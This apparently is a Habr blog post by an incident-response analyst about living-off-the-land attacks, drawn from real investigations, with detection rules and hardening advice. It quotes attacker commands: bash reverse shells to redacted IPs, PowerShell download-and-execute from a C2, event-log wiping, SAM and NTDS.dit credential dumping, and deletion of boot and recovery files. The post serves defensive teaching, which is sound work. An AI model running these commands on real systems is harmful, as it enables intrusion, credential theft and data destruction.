Привет, Хабр! Меня зовут Максим Кишмерешкин, я ведущий аналитик центра мониторинга и реагирования «Инфосистемы Джет». Сегодня мы поговорим про довольно старую, но до сих пор остающуюся популярной тему — LOTL. Напомню, что LOTL (living on the land), или как я его называю «жизнь на подножном корме» — это использование в атаке инструментов, которые уже есть в системе жертвы. Мы поделимся тем, как мы этот класс атак встречали в реальных кейсах, какие процедуры и техники выявляли, и расскажем, как их можно детектировать.
Использование LOTL в атаках, в отличие от ВПО (как типового, так и разработанного под конкретную задачу), даёт злоумышленникам ряд неоспоримых преимуществ: отличительной особенностью я бы назвал отсутствие индикаторов компрометации при выявлении подобного рода атак, эти атаки все еще тяжело детектировать средствами EDR, антивирусов, а также очень часто эту активность можно спутать с легитимной административной деятельностью.
За последние два года мы видели следы использования LOTL на разных этапах атак во всех своих расследованиях. Концепция LOTL популярна, развивается в lolol.farm и уже насчитывает около 28 отдельных проектов, которые полезны как атакующим для конструирования своих атак, так и защищающимся, чтобы писать детектирующие правила. Полезные проекты для защитников — это основные проекты LOLBAS (легитимные утилиты Windows и аргументы выполнения к ним, с помощью которых можно выполнять злонамеренные действия), GTFObins — аналог под linux, LOLtunnels, loldrivers.
Не только мы замечали, что злоумышленники используют LOLBAS в своих атаках. Например, публично известны следующие варианты атак с LOTL:
APT31 горизонтально перемещалась через WMI
wmic process call create malware.exe/<command> ,
Goffee через mshta доставляли и выполняли полезную нагрузку
powershell.exe /C mshta.exe https://<domain>.com/<name>.hta
BO Team дампили базу ntds.dit используя ntdsutil.
ntdsutil "ac i ntds" ifm "create full nodefrag $appdata\AD" q q
Давайте на примерах реальных кейсов из наших расследований посмотрим, какими процедурами LOLBAS, GTFOBins пользовались злоумышленники.
Как это выглядит в реальных инцидентах
Абсолютно типичная сегодня ситуация для наших расследований:
В linux-системах была выявлена загрузка и исполнение вредоносного скрипта с C2-сервера с использованием стандартных системных утилит bash и curl:
bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1 bash -i >& /dev/tcp/xx.xx.xx.xx/53 0>&1 curl http://xx.xx.xx.xx/systemd -o /tmp/systemd
В другом примере, уже под Windows, злоумышленники закреплялись через процесс reg.exe при каждом старте системы, запуская свое ВПО zip.bat, del.bat вместе с запуском explorer.exe:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d explorer.exe,c:\tzxl2\zip.bat,c:\tzxl2\del.bat /f ()
Заметали следы с помощью утилиты wevtutil, очищая все события в журналах:
powershell -command wevtutil el | Foreach-Object {Write-Host Clearing $; wevtutil cl $} - powershell logoff
Разведка в уже скомпрометированной системе выполнялась стандартными средствами:
whoami
quser
ping
dir
ipconfig /all
netstat -ano
systeminfo
hostname
nltest /trusted_domains
net user xx /domain
Отмечу, что без дополнительного контекста этап разведки мы бы не отличили от легитимных действий администраторов. В большинстве случаев в реальных атаках мы выходили на использование LOLBAS не сразу, а тогда, когда уже определили скомпрометированную УЗ / рабочую станцию и по артефактам находили команды от скомпрометированных пользователей.
Учетные данные злоумышленники вытаскивали либо через сохранение критичных веток реестра
C:\Windows\system32\cmd.exe" /c reg save hklm\sam C:\TEMP\1C\sam > C:\Users\XXXX\AppData\Local\Temp\v8_C1DE_b8.txt"
либо копировали кусок БД, хранящей учетные записи, группы и хеши паролей из теневой копии базы Active Directory командой
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\ntds.dit.save
Более чем в 70% случаев основным инструментом у хакеров выступал Powershell.
С помощью него кроме разведки, запуска утилит реестра, также связывались с C2:
powershell.exe -nop -w hidden -e WwB... - [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$hN=new-object net.webclient
Загружали и на лету исполняли скрипт обхода средств антивирусной защиты.
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell IEX newwebclient downloadstring http://xxxxx.ru/E‼️ulVCVb/xxx.ps1
Были замечены и очень специфичные команды. Через robocopy удалялись критичные файлы загрузки и восстановления операционной системы. Это был этап подготовки перед запуском шифровальщика в инфраструктуре
reagentc /disable; Remove-Item -Path "C:\Recovery","C:\Windows\System32\Recovery","C:\bootmgr","C:\EFI","C:\Boot" -Recurse -Force -ErrorAction SilentlyContinue; *;Restart-Computer -Force
Как видим, использование LOLBAS ограничивается только фантазией атакующих. Охватывается огромный диапазон покрытия kill-chain по матрице MITRE, начиная от Initial Access и заканчивая Impact (выявлено упоминание в 11 из 14 тактик).
А что если реконструировать атаку, используя только LOLBAS?
Давайте попробуем.
Через фишинг злоумышленник доставляет приманку с вредоносным скриптом, запускает его через powershell и mshta. Скрипт закрепляется в автозагрузке через реестр, мошенник обходит AppLocker через regsvr32.exe и проводит разведку стандартными утилитами whoami, ipconfig.
Далее он получает доступ к учетным данным, сначала сдампив lsass через rundll32 и comsvcs.dll, а потом через ntdsutil и весь ntds.dit. Горизонтально распространяться мошенник будет через WMI, с помощью того же powershell он соберет чувствительную информацию, выгрузит себе на управляющий сервер через certutil, и как итог всей атаки — зашифрует всю инфраструктуру с помощью Bitlocker.
Мы показали, как злоумышленники могут полностью скомпрометировать инфраструктуру, оставляя минимум следов в системе. Отмечу, что всю атаку можно выполнить в рамках одного powershell-скрипта.
А как обстоят дела с конструированием атаки в отечественных операционных системах? На них злоумышленник тоже может довольно незаметно и полностью скомпрометировать всю инфраструктуру. Давайте реконструируем с помощью проекта GTFObins:
Через фишинг доставляется приманка (например, «скрипт обновления»), пользователь скачивает его, запускает. Скрипт закрепляется через автозапуск (cron), затем, используя ошибку в конфигурации sudo, злоумышленник повышается через find, отключает историю команд bash_history, перемещается через ssh, через tar собирает чувствительную информацию и выгружает через nc. Далее он шифрует всю инфраструктуру через openssl.
Каждая команда по отдельности — легитимная. Но в совокупности они формируют полноценную атаку от initial access до impact.
Как заметить «легитимное зло» в инфраструктуре
Давайте посмотрим, как можно этому противостоять, детектировать и какие защитные меры помогут.
Выявляем факт использования инструментов LOLBAS через регулярные выражения в логике корреляционных правил SIEM. Детектирование направлено на различные вариации, начиная от скачивания вредоносного файла и вплоть до дампа критичных объектов операционной системы.
Пример — есть факт скачивания и загрузки файлов с удаленных ресурсов с ftp.
Чтобы это детектировать, выявляем аномалию, а именно — скачивание с внешнего контура по протоколу, который в повседневной деятельности если и используется, то только внутри компании. Далее через регулярные выражения мы будем выявлять факт обращения по маске IP-адреса и загрузки какого-либо файла.
Пример: ftp://12.45.134.111:1337/upload/m1.exe
Как выявить: в аргументах командной строки запуска процессов по регулярному выражению .*(ftp|http|https|smb|nfs|dict):\/\/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)).*" выявляем аномальную активность выгрузки по различным протоколам с внешних ресурсов.
Другой случай — нам надо выявить факт сохранения критичных веток реестра, выгрузив которые злоумышленник сможет получить учетные данные пользователей.
Сама команда C:\Windows\system32\cmd.exe" /c reg save hklm\sam C:\TEMP\1C\sam > C:\Users\XXXX\AppData\Local\Temp\v8_C1DE_b8.txt"
Как выявить: включить расширенное логирование аудита выполнения команд Windows Event ID 4688, либо смотрим события Sysmon 1, в этих событиях смотрим запуск процесса reg.exe, в аргументах командной строки ищем команду save и пути к критичным веткам security/system/sam.
В целом логика детектирования будет сводиться к отслеживанию запуска штатных утилит операционной системы и аргументов запуска команд, в которых и будет выявлен подозрительный контекст.
Как противостоять?
Я выделю четыре основных направления, на которые стоит обратить внимание:
Аудит выполнения команд
• Настраиваем журналирование командной строки событий аргументами event id 4688, Sysmon Event 1, модулей, скрипт-блоков Powershell 4104, 4103, 600.
• Настраиваем журналирование Auditd для Linux-систем.
• В случае, если в инфраструктуре есть EDR, собираем с него телеметрию для последующего анализа.Детектирование
• Используем SIEM/EDR-средства для написания собственной корреляционной логики или использования сигнатур «из коробки», которые смогут выявить аномалии в автоматическом режиме
• Использование UEBA. Создание типичного рабочего профиля для каждого пользователя поможет выявить возможные аномалии использования легитимных инструментов. На мой взгляд, сейчас, к сожалению, этот класс решений не особо эффективен по причине огромного процента ложноположительных срабатываний при детектировании LOTL-атак.Харденинг инфраструктуры
• Использование SELinux, AppArmor.
• Application Control / Whitelisting — в статье от Microsoft приведены примеры, какие приложения можно исключить.
• Для PowerShell — включение Constrained Language Mode и подпись скриптов.Базовые меры
• Даже если злоумышленнику удалось выполнить какую-либо команду, необходимо постараться минимизировать шансы получить привилегированную учетную запись, для этого используем принцип минимальных привилегий.
• Сегментируем сеть, чтобы минимизировать возможность горизонтально перемещаться по инфраструктуре.
• В случае если по каким-либо признакам детектирующее правило не сработало (обфускация, доставка по частям) — выявить подозрительные трафик / эксфильтрацию поможет использование NTA.
Хочу отметить, что сами по себе легитимные инструменты не опасны, опасен контекст их выполнения. Этот класс атак останется популярным еще долго, злоумышленники будут стараться и дальше минимально оставлять следы своего присутствия, а защищающиеся — пытаться выявить аномалии при работе со штатными утилитами операционной системы.
Встречались ли вам такие кейсы? Делитесь своими историями в комментариях!
Автор: Максим Кишмерешкин, ведущий аналитик центра мониторинга и реагирования, «Инфосистемы Джет»